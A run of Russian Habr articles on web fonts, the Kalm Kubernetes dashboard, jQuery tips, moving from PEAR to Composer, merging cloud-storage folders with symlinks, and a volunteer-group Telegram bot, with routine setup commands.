7. Будут ли условия контаркта определять права посетителей вашего сайта? Имеют ли право посетители вашего сайта использовать шрифт не только для отображения на экране, но и распечатывать его и создавать PDF? Будут ли подвергаться риску те пользователи, которые попытаются скачать файлы шрифтов индивидуально? (Давайте признаем, все мы смотрим как люди делают свои сайты, это интернет.)
8. Когда поддержка WOFF (и EOT) станет повсеместной, будет ли какой-то путь для хранения шрифтов у себя, или вы будете привязаны к сервису навсегда?
Комментарии приветствуются.
Расширеные функции OpenType
---------------------------
С того момента, как John Daggett из Mozilla возглавляет CSS3 Fonts Module, впечатляющая [команда](http://www.w3.org/2000/09/dbwg/details?group=44556&public=1) приглашенных экспертов в дизайне типографики обдумывает проблемы передовой типографики в W3C.Уже в ближайшее время это может иметь большое влияние на отображение [математических символов](http://dev.w3.org/csswg/css3-fonts/#propdef-font-variant-numeric) и [не-латинских языков](http://dev.w3.org/csswg/css3-fonts/#propdef-font-variant-east-asian).
Будущее Flash Text Replacement
------------------------------
Уже прошло несколько лет с момента выхода iPhone, а флэш на нем все еще не разрешен. Как и на iPad. Недавнее [высказывание](http://www.apple.com/hotnews/thoughts-on-flash/) Стива Джобса привлекло много внимания и сложно представить себе что Apple пойдет на попятную в этом вопросе. Плюс, iPhone и iPad поддерживают гораздо более простую и элегантную альтернативу для отрисовки шрифтов с использованием SVG — `@font-face`. Любому разработчику, планирующему новый проект, тяжело предтавить себе использование в нем технологии sIFR. `@font-face` более прост в освоении и ему не нужно иметь будущее, он уже будущее.
Библиотека шрифтов Google
-------------------------
Благодаря неожиданной разработке, которая произросла из неформальных разговоров с ребятами из [Typekit](http://blog.typekit.com/2010/05/19/typekit-and-google/), Google стал [провайдером](http://code.google.com/webfonts) свободно лицензированых шрифтов через [Google Ajax API](http://code.google.com/apis/ajaxlibs/). Это опенсорсный проект в котором можно найти документацию, примеры и информацию о том, как можно способствовать его развитию в [GitHub репозитории](https://github.com/typekit/webfontloader).В отличии от многих опенсорсных проектов, у этого есть постоянный куратор [Raph Levien](http://hotlead.levien.com/).
Заставим это работать сегодня
-----------------------------
А теперь давайте окончательно запутаемся: для IE 6–8 вы можете использовать только TTF шрифты, обернутые как EOT или EOT “Lite” (несжатый). Для Firefox, Opera, Chrome, и Safari, вы можете использовать TTF или OTF файлы, как “сырые” или в некоторых случаях обернутые в WOFF файлы или как data URI внутри файла стилей. SVG будет основным форматом шрифтов, идущим вперед, но его основная добродетель сегодня заключается в поддержке в мобильном Safari для iPhone и iPad.
Да, это путает. Сначала. Всегда есть большие изменения. Но я ожидаю от веб-авторов сделать то, что они всегда делают. Найти путь заставить это все работать. Сырые материалы [здесь](http://fontsquirrel.com/) и [здесь](http://kernest.com/). Инструменты [здесь](http://www.fontsquirrel.com/fontface/generator) и [здесь](http://eotfast.com/). Решения [здесь](http://paulirish.com/2009/bulletproof-font-face-implementation-syntax/) и [здесь](http://readableweb.com/mo-bulletproofer-font-face-css-syntax/). Так сложите вместе несколько страниц примеров и [темплейтов](http://www.alistapart.com/articles/real-web-type-in-real-web-context/), и приготовьтесь к распутью. Время пришло.
*Translated with the permission of [A List Apart Magazine](http://www.alistapart.com/) and the author[s].* | https://habr.com/ru/post/104196/ | null | ru | null |
# Обзор Kalm — веб-интерфейса для деплоя приложений и управления ими в Kubernetes
[Kalm](https://kalm.dev/) — бесплатное приложение с открытым исходным кодом. Представляет собой стандартный [контроллер Kubernetes,](https://kubernetes.io/docs/concepts/architecture/controller/) который можно установить в любой кластер (версии v1.15 и выше), включая Amazon EKS и Google GKE. Основная цель Kalm — предоставить разработчикам простой пользовательский интерфейс, чтобы упростить работу с K8s.
Приложение написано преимущественно на Go и TypeScript. Проект [был анонсирован](https://www.reddit.com/r/kubernetes/comments/im051j/introducing_kalm_an_open_source_gui_for_k8s/) год назад, и на данный момент у него всего ~350 звезд на [GitHub](https://github.com/kalmhq/kalm). Формальный статус — Closed Beta, однако публичной информации достаточно, чтобы все желающие уже могли поучаствовать в его тестировании.
Ключевые возможности Kalm
-------------------------
[Kalm](https://kalm.dev/) — это Kubernetes Application Manager, графический интерфейс, предназначенный для простого развертывания и управления приложениями в Kubernetes. Утилита работает «из коробки» с любым существующим кластером. Установка занимает около [5 минут](https://docs.kalm.dev/install/install).
Главные фичи, выделяемые разработчиками:
* **WebUI.** Создание и обновление Deployment’ов, сетей, переменных окружения, ConfigMaps и Secrets. Отслеживание состояния приложений, чтение логов, управление контейнерами.
* **SSO и пользователи.** Разграничение доступа к ресурсам кластера через внутреннюю аутентификацию, работающую по принципу single sign-on (SSO).
* **Выпуск LE-сертификатов.** Настройка и автоматическое продление SSL-сертификатов для вашего приложения. Поддержка автоматического выпуска wildcard SSL.
* **Управление трафиком.** Kalm умеет направлять трафик из нескольких доменов/поддоменов в один или множество Deployment’ов. Можно обслуживать внешний трафик или настроить более сложные схемы — например, blue-green и canary-развертывание.
* **Webhooks.** С помощью вебхуков можно обновлять или откатывать Deployment’ы. Это полезно для быстрой интеграции с такими инструментами для CI/CD, как GitHub Actions или CircleCI.
Установка и первый запуск
-------------------------
Для начала нужно создать кластер Kubernetes. Чтобы сделать это локально, авторы предлагают воспользоваться minikube, K3s и Kind, а для облака — EKS или GKE. Для каждого типа инфраструктуры с K8s есть [своя инструкция по установке Kalm](https://docs.kalm.dev/install/install).
К слову, также для облачных кластеров доступна платная услуга — Kalm Cloud. Это [специальная онлайн-панель](https://kalm.dev/signin) для управления приложениями в кластерах, предусматривающая минимальные действия по установке/конфигурации Kalm и техническую поддержку. Тарифы по работе с Kalm Cloud есть [здесь](https://kalm.dev/pricing): вкратце, они начинаются от 600 USD в месяц, но стартапы могут получить скидку в 90% на год.
Теперь к самой установке. Перед её началом убедитесь, что `kubectl` указывает на правильный кластер Kubernetes, так как установка производится в текущий контекст `kubectl` (через `apply`).
Я выбрал minikube. Установка выполняется в два шага. Сначала клонируем репозиторий:
```
# clone the repo
git clone https://github.com/kalmhq/kalm.git
cd kalm
```
Затем устанавливаем утилиту:
```
./scripts/install-local-mode.sh
```
В кластере при этом у нас развернулось несколько компонентов:
* istio-operator + сам Istio;
* kalm-operator + Kalm;
* cert-manager.
Стоит обратить внимание, что непосредственно управлять кластером при помощи Kalm нельзя, но можно заходить в контейнеры, выполнять команды, править ConfigMaps и т.д. По кластеру можно также видеть служебную информацию: общее количество потребляемых ресурсов, нагруженность каждого узла в кластере, потребление ресурсов отдельными приложениями.
Если в кластер уже установлены какие-то приложения, **в Kalm они отображаться не будут**. Утилита понимает только свой синтаксис и «видит» приложения, установленные только через kalm-operator.
После установки пробрасываем порт из кластера в localhost:
```
kubectl port-forward -n kalm-system $(kubectl get pod -n kalm-system -l app=kalm -ojsonpath="{.items[0].metadata.name}") 3010:3010
```
Если установка прошла успешно, дашборд Kalm будет доступен по адресу <http://localhost:3010>.
Если возникли проблемы с запуском, не лишним будет заглянуть в [этот раздел документации](https://docs.kalm.dev/install/install-kalm-cloud/#troubleshooting-work-in-progress).
Знакомство с интерфейсом
------------------------
Интерфейс Kalm — простой и понятный. Первое, что мы видим — возможность создать новый namespace (здесь эта операция называется *Create App*) и информацию по развернутым приложениям.
### Дополнительные сведения
В **Nodes** выводится информация о ресурсах кластера и его узлах:
А в **Disks —** информация по созданным дискам для компонентов приложения:
### Настройки
Другие вкладки позволяют настроить:
* **Domain & Certs** — домены и SSL-сертификаты для них;
* **Routes** — маршруты для созданного нами домена;
* **WebHooks** — вубхуки. Есть интеграция с GitHub и CircleCI (можно настроить хук на обновление приложения при обновлении образа);
* **Pull Secrets** — доступ к registry с авторизацией, чтобы образы для Pod’ов загружались из него;
* **SSO & Members** — авторизацию (через Dex) и доступ к определенным ресурсам для определенного пользователя.
Запуск приложения
-----------------
Выполним первый запуск приложения через WebUI на примере WordPress.
Для создания namespace во вкладке *Kalm/Apps* нажмем на уже упомянутую *Create App*:
1. Укажем имя приложения, образ, из которого оно будет запускаться, его тип и количество реплик. Тип компонента выбирается из значений Server (соответствует Deployment), DaemonSet, CronJob и StatefulSet.
2. Далее можно указать requests и limits для CPU и Memory, а также добавить Node Selector.
3. Если необходимо, используем дополнительные настройки, разнесенные по вкладкам:
* **Config** — команда для запуска компонента, переменные окружения, файлы конфигурации для компонента.
* **Networking** — порт контейнера, через который приложение будет доступно для внешнего мира. Для этого потребуется выбрать протокол, указать порт приложения и, если требуется, порт SVC.
* **Disk** — диски для компонентов. На выбор предоставляются постоянные диски в виде PVC и временные (emptyDir). Также можно добавить уже используемый диск и расшарить данные между компонентами. Если у вас есть несколько storage classes, можно выбрать нужный.
* **Health** — readiness- и liveness-пробы для проверки работоспособности приложения. Пробы могут быть трех типов: HTTP, Command и TCP.
* **Deployment Strategy** — стратегию обновления компонентов. По умолчанию это *Rolling Update*, но можно поменять на *Recreate*. Предусмотрена возможность отложить принудительную остановку Pod’а указанием *graceful termination period*.
Перед запуском самого WordPress добавляем сначала его Pod с БД MySQL. Указываем название Pod’а, переменные окружения, порт MySQL, по которому сможем подключиться к базе, и другие параметры.
После этого нажимаем на *Deploy Component*.
Аналогично добавляем Pod с самим WordPress:
И снова — *Deploy Component* (на скриншоте это *Update Component*, потому что я затем менял параметры).
Чтобы увидеть запущенное приложение в браузере, можно пробросить порт из SVC на localhost и зайти на этот порт:
```
kubectl -n wordpress port-forward service/wordpress 9001:9001
```
Переходим в браузере по адресу <http://localhost:9001> — нас встречает стартовая страница настройки WordPress!
### Запуск консоли и просмотр логов
После того, как мы запустили приложения, их можно увидеть во вкладке *Apps/Component* как Pod’ы.
Если перейти на вкладку*Apps/Dashboard*, там можно увидеть 3 вкладки:
* **Workload** — информация по запущенным Pod’ам и количеству маршрутов;
* **Metrics** — информация по трафику и ответам от приложения;
* **Warnings** — предупреждения в событиях компонента.
Также можно полностью удалить namespace во вкладке *Apps/Settings*:
Вернемся на вкладку *Apps/Components***.** В столбце *Actions* можно перейти к детальной информации о Pod’е и поменять настройки его контейнера. Нажимаем на детали и получаем 4 вкладки:
* **Basic** — общая информация и настройки Pod’а;
* **Pods** — список запущенных Pod’ов, общая информация по ним. Если провалиться в консоль, можно получить логи контейнера и удалить Pod;
* **Networking** — список настроенных портов для Pod’а и адрес, по которому можно обратиться к нему;
* **Routes** — список настроенных маршрутов.
Давайте посмотрим логи контейнера и консоль контейнера. Зайдем во вкладку *Pods*в *Apps/Components/***.**
Проваливаемся в логи, нажав на соответствующую иконку. В открывшейся странице можно выбрать несколько Pod’ов, затем выбрать контейнер, логи которого нужно посмотреть, и количество отображаемых строк логов. Можно выбирать несколько Pod’ов и переключаться между ними для просмотра логов.
Также для просмотра логов в Kalmможно установить PLG-стек (Promtail, Loki и Grafana). Подробно о настройке PLG рассказано в [официальной документации](https://docs.kalm.dev/logging/plg).
### Как запущенное приложение выглядит в кластере
Если после нажатия на *Deploy Component* зайти через консоль в кластер, можно увидеть, что добавленное приложение — это отдельный namespace, а компонент — отдельный Deployment:
```
> kubectl get ns
NAME STATUS AGE
cert-manager Active
default Active
istio-operator Active
istio-system Active
kalm-operator Active
kalm-system Active
kube-node-lease Active
kube-public Active
kube-system Active
wordpress Active
> kubectl -n wordpress get deployment
NAME READY UP-TO-DATE AVAILABLE AGE
wordpress 1/1 1 1
> kubectl -n wordpress get pods
NAME READY STATUS RESTARTS AGE
mysql-0 2/2 Running 0
wordpress-64b8587cf9-drmgb 2/2 Running 0
> kubectl -n wordpress get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
mysql ClusterIP 10.102.100.85 3306/TCP
mysql-headless ClusterIP None 3306/TCP
wordpress ClusterIP 10.99.135.229 9001/TCP
> kubectl -n wordpress get pvc
NAME |STATUS|VOLUME|CAPACITY ACCESS MODES STORAGECLASS AGE
pvc-mysql | Bound |pvc | 1Gi RWO standard
pvc-wordpress| Bound |pvc | 1Gi RWO standard
```
Другие особенности
------------------
### Custom Resources Definitions
Помимо запуска через WebUI есть также возможность запуска сущностей через Custom Resources. Вот что на данный момент может предложить Kalm:
* [**Component**](https://docs.kalm.dev/crd/component)— запуск компонента в указанном namespace;
* [**ProtectedEndpoint**](https://docs.kalm.dev/crd/protected-endpoint)— запуск EndPoint, которому необходима авторизация;
* [**SingleSignOnConfig**](https://docs.kalm.dev/crd/sso)— настройка SSO для доступа к Kalm dashboard через Dex provider (GitLab, GitHub и т.п.);
* [**HTTPRoute**](https://docs.kalm.dev/crd/http-route)— настройка маршрута к SVC в кластере;
* [**Httpscert**](https://docs.kalm.dev/crd/https-cert)— настройка сертификата X.509;
* [**HttpsCertIssuer**](https://docs.kalm.dev/crd/https-cert-issuer)— настройка выпуск сертификата под определенным провайдером;
* [**AccessToken**](https://docs.kalm.dev/crd/access-token) — выпуск токена для вебхуков и настройка прав доступа для данного токена;
* [**RoleBinding**](https://docs.kalm.dev/crd/role-binding)— настройка ролей для пользователей или групп;
* [**ACMEServer**](https://docs.kalm.dev/crd/acme-server)— определение ACMEDNS-сервера в кластере.
Пример использования Custom Resources при создании компонента с помощью обычного файла-манифеста:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: hello-world
namespace: default
labels:
app: hello-world
spec:
replicas: 1
selector:
matchLabels:
app: hello-world
template:
metadata:
labels:
app: hello-world
spec:
containers:
- image: kalmqh/echosever
name: hello-world
---
apiVersion: v1
kind: Service
metadata:
name: hello-world
namespace: default
spec:
selector:
app: hello-world
ports:
- port: 80
targetPort: 8001
```
И тот же кейс — но с использованием Custom Resources от Kalm:
```
apiVersion: core.kalm.dev/v1alpha1
kind: Component
metadata:
name: hello-world
namespace: test
spec:
replicas: 1
workloadType: server
image: kalmhq/echoserver
ports:
- containerPort: 8001
protocol: http
servicePort: 8001
```
**Важно:** при создании в `namespace: default` вы не увидите его в панели Kalm, так как этот namespace не отображается в WebUI на вкладке *Apps*.
### Управление трафиком
Для реализации одной из главных фич решения — управления трафиком — в Kalm интегрирован известный service mesh: Istio. Его конфигурация в рамках тех же Custom Resources на данный момент не реализована, хотя в документации упоминаются ресурсы `HttpRoute` и `HttpsCert` как нечто, что должно стать вскоре доступным *(TODO)* для решения наиболее типовых задач. На данный момент возможен только прямой доступ к настройке Istio, если такие навыки и потребности есть.
Про сам Istio мы [неоднократно](https://habr.com/ru/company/flant/blog/569612/) [рассказывали](https://habr.com/ru/company/flant/blog/438426/) в блоге, поэтому заострять внимание на его возможностях в этом обзоре я не буду.
### Аутентификация и авторизация
Kalm предоставляет доступ к WebUI при помощи единой точки входа. Стандартная схема по умолчанию — [SSO](https://docs.kalm.dev/auth/sso/).
Для обращения к kalm-api можно использовать [**токен доступа**](https://docs.kalm.dev/crd/access-token/) — это тоже CRD (Custom Resource Definition). Для этого токена можно ограничить доступ только к определенным ресурсам в кластере, которые предоставляются Kalm.
Также можно настраивать роли для определенного пользователя или группы и разграничивать доступ для всех предоставляемых Kalm ресурсов в кластере. Вот [таблица со всеми возможными ролями](https://docs.kalm.dev/auth/roles).
На скриншоте ниже — новый пользователь test-user, для которого в WebUI настраивается кластерная роль, и отдельно — роль для каждого из приложений**.** Также можно проверить настроенные ограничения и выданные права.
Заключение
----------
Kalm может быть полезен для локальной разработки, если у разработчика нет опыта работы с Kubernetes или знания о нем минимальны. Можно развернуть, например, инсталляцию minikube + Kalm и проверить работоспособность своего приложения в Kubernetes. При этом вместо консоли использовать удобную веб-панель с простым интерфейсом.
Если сравнивать решение с привычным `kubectl` в контексте реального обслуживания кластера, на мой взгляд, возможности Kalm ограничены. Kalm предназначен для управления приложениями в кластере и трафиком. Ресурсы можно разворачивать только через собственный CRD.
Есть и мелкие недочеты — например, нет возможности просмотра всех namespace’ов в кластере, которые не созданы Kalm (хотя если посмотреть на использование ресурсов, там учитываются *все* Pod’ы, запущенные в кластере). Или — при локальном использовании нельзя прокинуть в хост-систему порт из панели Kalm, из-за чего приходится использовать port-forward… Вдобавок, поскольку Kalm пока еще в статусе Closed Beta, его использование в production не рекомендуется. Как вариант, можно поднять небольшой проект и посмотреть на его работу в тестовом режиме.
Видно, что разработчики уделяют внимание не только развитию самого проекта, но и постоянно улучшают документацию (впрочем, не везде её хватает). Можно надеяться, что Kalm будет расширять и функциональность, и аудиторию.
Напоследок, отдельного упоминания стоит [недавний анонс](https://www.reddit.com/r/kubernetes/comments/ou0n7p/introducing_koncrete_cloudhosted_cd_for/) другого решения от тех же авторов — [Koncrete](https://www.koncrete.dev/). Оно продвигается как готовый к работе (уже развернутый и настроенный в облаке) ArgoCD.
### P.S.
Читайте также в нашем блоге:
* «[Обзор Lens — IDE для Kubernetes](https://habr.com/ru/company/flant/blog/563422/)»;
* «[Обзор k9s — продвинутого терминального интерфейса для Kubernetes](https://habr.com/ru/company/flant/blog/524196/)». | https://habr.com/ru/post/575972/ | null | ru | null |
# 5 вещей, которые вы могли не знать о jQuery
jQuery очень мощная библиотека, но некоторые его богатые возможности неясны, если вы не изучали исходный код jQuery и не читали книгу jQuery Pocket Reference (автор пишет my new book), вы можете не знать о них. В этой статье представлены отрывки из этой книги — 5 полезных вещей о которых вы могли не знать.
1) Вы вы не обязаны использовать $(document).ready() Если вы хотите выполнить функцию, когда документ готов для манипулированию просто передайте её в $()
2) Вы, наверное, уже знаете, что вы можете передать тэг в функцию $() для создания элемента этого типа и, что вы можете передать атрибуты объекта (в качестве второго аргумента), которые будут установлены на созданный элемент. Вторым аргументом может быть любое свойство, который вы передаете в метод attr(). Кроме того, если какое-либо свойство имеет тоже самое имя, что и событие (click, mouseover), то значение свойства используется в качестве функции обработчика данного события.
Следующий код, например, создает новый элемент, устанавливает три HTML атрибута и регистрирует функцию обработчика события(click) на нем:
```
var image = $("![]()", {
src: image_url,
alt: image_description,
className: "translucent_image",
click: function() {$(this).css("opacity", "50%");}
});
```
3) jQuery имеет простые методы, такие как click() и change() для регистрации обработчиков событий, а также определяет более общий метод регистрации событий — bind(). Важной особенностью bind() является то, что он позволяет указать пространство имен (или нескольких имен) для обработчиков событий при их регистрации. Это позволяет определять группы обработчиков, что очень удобно, если впоследствии вы захотите вызвать или отменить регистрацию всех обработчиков в определенной группе. Пространство имен обработчиков особенно полезно для программистов, которые пишут библиотеки или модули повторно используемого jQuery кода. Пространство имен обработчиков выглядит как селектор класса в CSS.
Для привязки обработчика событий в пространстве имен, используйте имя события и пространство имен обработчика:
```
// Цепляем f как обработчик события mouseover в пространстве имен "myMod"
$('a').bind('mouseover.myMod', f);
```
Если ваш модуль зарегистрировал все события, используя пространство имен, вы можете легко отцепить их все, используя unbind():
```
// Отцепляем все обработчики событий mouseover, mouseout
// в пространстве имен "myMod"
$('a').unbind("mouseover.myMod mouseout.myMod");
// Отцепляем все обработчики событий в пространстве имен myMod
$('a').unbind(".myMod");
```
4) jQuery имеет простые методы анимации такие как fadeIn(), а также включает метод анимации общего назначения animate(). Свойство queue объекта options, которые вы отправляете в animate() определяет будет ли запланированная анимация отложена до тех пор пока не будут выполнены все предыдущие анимации. По умолчанию анимации вызываются по очереди, но вы можете отключить это, установив свойство queue в false. Анимации без очереди стартуют немедленно.
Последующие очереди анимаций будет не отложенными для анимаций без очереди. Рассмотрим следующий код:
```
$("img").fadeIn(500)
.animate({"width":"+=100"},
{queue:false, duration:1000})
.fadeOut(500);
```
Эффекты fadeIn() и fadeOut() имеют очередь, а метод animate() (который анимирует свойство width в течении 1 секунды) мы вызвали без очереди. Анимация ширины объекта начинается в тоже время, что и fadeIn(). Эффект fadeOut() начнется как только закончит выполнение эффект fadeIn()
5) jQuery вызывает события “ajaxStart” и “ajaxStop” для обозначения начала и конца сетевой активности Ajax. Когда jQuery не выполняет никаких Ajax запросов и инициализируется новый запрос, jQuery вызывает событие “ajaxStart”. Если вызываются новые запросы, но текущий запрос не выполнен, то событие “ajaxStart” не вызывается. Событие “ajaxStop” вызывается, когда последний отложенный запрос Ajax завершен и jQuery больше не проявляет сетевой активности.
Пара этих события может бы полезна для показа/скрытия анимации «Загрузка...» или иконки сетевой активности. Например:
```
$("#loading_animation").bind({
ajaxStart: function() { $(this).show(); },
ajaxStop: function() { $(this).hide(); }
});
```
Эти 2 события “ajaxStart” и “ajaxStop” могут быть привязаны к любому элементу страницы. jQuery вызывает их глобально.
**От переводчика** 2 из 5 я не знал, хотя регулярно слежу за релизами jQuery (особенно порадовала связка ajaxStart/ajaxStop), думаю все-таки стоит прочитать эту книгу. Какие ещё особенности вы можете добавить? | https://habr.com/ru/post/111314/ | null | ru | null |
# Замена PEAR на Composer
Думаю, большинство разработчиков, использующих PHP, уже в знают, что популярные проекты начинают отказываться от распространения через PEAR в пользу Composer (например [PHPUnit](https://github.com/sebastianbergmann/phpunit/wiki/End-of-Life-for-PEAR-Installation-Method) и [Symfony](https://twitter.com/fabpot/status/457842648733478913)). Некоторые расстраиваются по этому поводу, дескать, теперь вместо однократной общесистемной установки того же PHPUnit, придётся включать его зависимостью в каждый проект. Совсем необязательно! Composer прекрасно умеет устанавливать пакеты для общего использования.
#### Установка для одного пользователя
Это удивительно, но многие не знают о существовании команды [global](https://getcomposer.org/doc/03-cli.md#global). Это даже не столько самостоятельная команда, сколько префикс, меняющий поведение других команд, заставляющий их использовать `composer.json` не из текущей папки, а из домашней папки пользователя. Как написано в документации, команда:
```
php composer.phar global require fabpot/php-cs-fixer:dev-master
```
установит запрошенный пакет в `$COMPOSER_HOME/vendor`, а исполняемые файлы в `$COMPOSER_HOME/vendor/bin`.
Переменная `$COMPOSER_HOME` по умолчанию указывает на ````"/home//.composer" в *nix-системах, на "/Users//.composer" в OSX и на "C:\Users\\AppData\Roaming\Composer" в Windows.
Вам останется только добавить $COMPOSER_HOME/vendor/bin` в переменную окружения `$PATH` и вы сможете запускать установленные через Composer приложения для любого вашего проекта.
#### Общесистеманя установка Composer
Конечно, описанный выше метод, не совсем то же самое, что делает PEAR. Установленные пакеты будут доступны только одному пользователю. Для большинства случаев, этого будет более чем достаточно. Но иногда желательнее чтобы однажды установленный пакет был доступен для всех пользователей. Это можно сделать, установив пакеты, скажем, для root-а, и добавив `/root/.composer/vendor/bin` в общесистемную конфигурацию оболочки (напр. в `/etc/profile`).
Есть и другой способ. Для наших внутренних нужд я написал небольшую [BASH-обёртку для composer](https://github.com/mekras/composer-wrap), меняющую поведение команды global.
Для установки надо скачайть файл [composer](https://raw.githubusercontent.com/mekras/composer-wrap/master/composer) и поместить его в `/usr/bin`. В принципе можно поместить его в любую другую папку, доступную через `$PATH`, например для FreeBSD правильнее будет выбрать `/usr/local/bin` (я использую этот путь и в Linux). От выбранной вами папки будет зависеть куда будут установлены `composer.phar` и зависимости. Для `/usr/bin` они будут размещены в `/usr/share/composer`, для `/usr/local/bin` в `/usr/local/share/composer` и т. д.
После скачивания сделайте файл исполняемым и запустите. Он скачает `composer.phar`, создаст пустой `composer.json` и сделает символическую ссылку на него в `/etc` для Linux и в `../etc` для других систем.
Теперь, при выполнении:
```
composer global require phpunit/phpunit:~4.0
```
PHPUnit будет установлен в `/usr[/local]/share/composer/vendor`, а исполняемый файл `phpunit` в `/usr[/local]/bin`
#### Немного о граблях
Переходя с PEAR на Composer надо помнить несколько вещей:
* В зависимости от выбранного вами способа и ваших настроек, может получиться так, что и Composer и PEAR будут устаналивать исполняемые файлы в одну папку. В этом случае, при удалении пакета PEAR, он может снести файл, установленный Composer.
* Некоторые пакеты, распространяемые через Composer, используют пакеты, распространяемые через PEAR. Например [Phing](http://phing.info/). Так что снеся PEAR-овский PHP\_PMD и установив Composer-овский вариант, вы получите неработающий .``` | https://habr.com/ru/post/75570/ | null | ru | null |
# Организация единой папки для облачных сервисов
Недавно пришла идея хранить свои документы не на флешке или внешнем HDD, а на более удобных облачных хранилищах, таких как SkyDrive, Box, Google Drive. Единственной проблемой была невозможность «из коробки» заставить их все работать с одной лишь единой папкой. Собственно, на примере этих трёх сервисов и рассмотрю такую возможность (Dropbox и iCloud работают по схожему принципу).
#### Что мы имеем?
А имеем мы вот что: папки SkyDrive, My Box Files и Google Drive в «Моих Документах» (ну или My Documents, кому как удобнее). По какой-то непонятной мне причине разработчики всех трёх программ не позволили выбирать конечную папку, имя которой не соответствовало бы названию программы.
#### Symlinks
Самым подходящим способом оказалось простое использование [симлинков](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0). За основу предлагаю взять SkyDrive (ну изначально он мне понравился):
**1.** Открываем командную строку с правами администратора.
**2.** Вводим
```
mklink /D "C:\Users\deraidon\FolderName" "C:\Users\deraidon\SkyDrive"
```
где **deraidon\FolderName** есть папка нужного вам пользователя и папка одного из оставшихся двух сервисов. Об этом чуть далее.
**3.** Для Box и Google Drive названия **My Box Files** и **Google Drive** соответственно.
#### Box
Создав нужную папку, переходим к настройкам **Box Sync** (*Change 'My Box Files' location*) и меняем адрес папки на созданный симлинк, направляющий на SkyDrive:
#### Первые проблемы...
А они начинают возникать из-за Google Drive. Причина проста — Google проверяет соответствие файла **desktop.ini** в папке своему, так сказать, эталону и из-за этого *desktop.ini* в папке SkyDrive ему попросту начинает мешать. Что же делать?
#### … И их решение
Решение оказалось довольно простым — переименовываем папку *SkyDrive* на рандомное название и создаём новую папку с названием **SkyDrive**. Далее разлогиниваемся из Google Drive (Настройки-Отсоединить аккаунт) и сходим заново (Войти). После этого кликаем «Далее» и выбираем «Расширенная настройка», где и меняем адрес на созданный нами симлинк. И начинаем синхронизацию, не забыв перекинуть данные из старой папки.
В конечном итоге должно получиться что-то вроде этого:
Вроде бы всё. Логичнее, конечно, было за основу взять Google Drive, но лично мне «СкайДрайв» нравится куда больше.
Спасибо за внимание.
#### Уточнение
Если вас не устроит, что у папки SkyDrive иконка от Google Drive, то вылечить это довольно просто: меняете иконку папки на иконку из `%HOMEDRIVE%\Users\%USERNAME%\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe` | https://habr.com/ru/post/184410/ | null | ru | null |
# Бот волонтёра или как помочь инициативным группам по помощи нуждающимся
Дисклеймер: это не руководство по созданию бота - конечный продукт не завершён. Здесь описана проблематика и предложение поддержать разработку кодом. Я не разработчик и не стремлюсь им быть, поэтому в тексте вполне могут быть технические неточности, так как написание кода это скорее хобби. Данный текст может быть интересен начинающим разработчикам
Предисловие
-----------
Мир по умолчанию несправедлив - одни со старта получают карт-бланш и золотую ложку во рту, другие всю жизнь выживают. Между этими двумя мирами, которые, кажется, никогда не пересекаются, есть средний класс, который вроде бы уже и не выживает, иногда ездит в Турцию отдыхать, но основное время жизни отводиться зарабатыванию денег. Такие люди по-своему понимают нуждающихся и, вроде бы, готовы помогать, но транзакционно - скинуть денег, отдать вещь. Меньше всего обыватель хочет потратить несколько часов на такую благотворительность.
Однако, иногда люди желают отдавать всё свободное время для помощи тем, кто попал в трудную жизненную ситуацию и в таких условиях зарождаются инициативные группы. В эти группы могут входить люди разного достатка и нет какой-то корреляции по профессии, но зачастую у них есть одна общая черта, бич. Им очень нужно дружно работать с данными. Как правило - инструментом выбирается Google Sheets, рисуется красивая структура, а дальше случается небольшой филиал ада.
«Всего-то» 6,5к человекДело в том, что эффективность работы с таблицами (тут не принципиально - Excel или Google Sheets) группой людей соответствует самому низкому уровню навыка среди участников группы: любую красивую структуру ломает неаккуратный `Ctrl+V`, а так как люди работают за идею нажатий на кнопки они не считают. Следующая итерация таблички подразумевает один из вариантов:
1. Есть только несколько избранных, которые следят за таблицей
2. (ни разу не видел) Происходит обучение по работе с таблицами как с инструментом
Иными словами - это прям больно.
Пару месяцев назад я внезапно обнаружил у себя силы присоединиться к команде волонтёров, которые занимаются тем, что помогают беженцам вещами, советом и делом. Вошёл я в команду на правах человека, который поможет с организацией информационной работы в гугл-табличках - там содержалась информация по запросам от нуждающихся и предложениями от жертвователей. По началу всё было довольно безобидно, но чем дальше тем больше проблем возникало
Простое элегантное fail
-----------------------
Первое, что пришло мне в голову - нужно упорядочить всё это безобразие в БД. В голове уже нарисовалась схема таблиц, кто куда и зачем ходит. Прекрасно, подумал я, но что будет управлять данными в этой базе? Примерно неделю я систематически вечерами изучал что можно взять из готовых решений. Больше всего надежд я возлагал на Wordpress и его плагины, попробовал в том числе и WooCommerce. Мельком глянул Yii. Кучку SaaS решений типа SUITECRM и Tild`ы я не обошёл стороной (сейчас, задним числом, я думаю, что раз уж взглянул тильду, то можно было и другие платные посмотреть). В результате я получил неудовлетворительный результат - всё и везде заточено под лиды и процесс реализации услуг, а у меня тут совсем другой запрос.
Что нужно-то?
-------------
Хорошо, значит это не CRM, а что-то другое. Всё ещё хочется нечто бесплатное, потому что, хоть бюджет и есть - совершенно не хочется предлагать что-то, что в практике окажется менее удобным чем таблицы
К этому моменту у меня уже начала складываться единая концепция кто и как должен взаимодействовать с этой системой
1. Нуждающиеся - никак её не трогают. Запросы собираются кураторами
2. Жертвователи - должны иметь наипростейший способ предлагать свои пожертвования. При этом добавление должно быть с классификацией
3. Кураторы - собираются запросы от нуждающихся, маршрутизируют предложения от жертвователей
4. Администраторы - подчищают БД на предмет плохо записанных данных (несоответствие категорий, пустые предложения) и выдают права
Идейно есть и дополнительное условие, что команда волонтёров старается максимально скрывать данные нуждающихся
Также уже понятно, что нужна удобная система ввода и менеджмента данных - на тот момент у моей команды появился склад вещей, на котором нужно периодически проводить инвентаризацию
Телеграм бот?
-------------
Бот показался самым подходящим решением по ряду причин
1. В данной команде и укрупнённом сообществе Телеграм используется как основной мессенджер и нет никаких причин думать что это изменится. В целом, эта платформа переживает очередной рост числа пользователей
2. Этот пункт вытекает из первого - авторизация. Бот работает с конкретными пользователями Телеграм, с теми же самыми с которыми происходит общение (или не происходит вообще)
